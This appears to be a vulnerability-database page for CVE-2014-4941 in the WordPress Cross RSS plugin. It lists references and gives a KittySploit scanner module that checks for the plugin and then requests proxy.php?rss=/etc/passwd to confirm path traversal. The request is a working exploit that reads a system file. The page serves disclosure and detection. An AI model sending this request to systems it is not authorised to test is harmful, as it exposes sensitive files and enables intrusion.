Cross RSS 1.7 - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2014-4941 | 11 Jul 201420:00 | – | cve | |
| CVE-2014-4941 | 11 Jul 201420:00 | – | cvelist | |
| EUVD-2014-4858 | 7 Oct 202500:30 | – | euvd | |
| Cross RSS 1.7 - Local File Inclusion | 24 Oct 202602:05 | – | nuclei | |
| CVE-2014-4941 | 11 Jul 201420:55 | – | nvd | |
| WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP) | 20 Nov 202000:00 | – | openvas | |
| WordPress Cross References Plugin <= 1.7 - Local File Inclusion | 11 Jul 201400:00 | – | patchstack | |
| Path traversal | 11 Jul 201420:55 | – | prion | |
| PT-2014-6220 | 11 Jul 201400:00 | – | ptsecurity | |
| CVE-2014-4941: Improper Limitation of a Pathname to a Restricted Directory | 11 Jul 201400:00 | – | rapid7 |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Cross RSS 1.7 - Local File Inclusion Detection',
'description': 'Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2014', 'wp-cross-rss', 'wordpress', 'wp-plugin', 'lfi', 'wp', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wordpress.org/plugins/cross-rss/',
'https://codevigilant.com/disclosure/wp-plugin-cross-rss-local-file-inclusion/',
'https://nvd.nist.gov/vuln/detail/CVE-2014-4941',
],
'cve': 'CVE-2014-4941',
}
def run(self):
path = '/'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('/wp-content/plugins/cross-rss/',)
if not (any(m in body for m in body_any)):
return False
path = '/wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if any(re.search(rx, body) for rx in body_regexes):
self.set_info(severity='medium', reason='Cross RSS 1.7 - Local File Inclusion detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 25
EPSS0.04306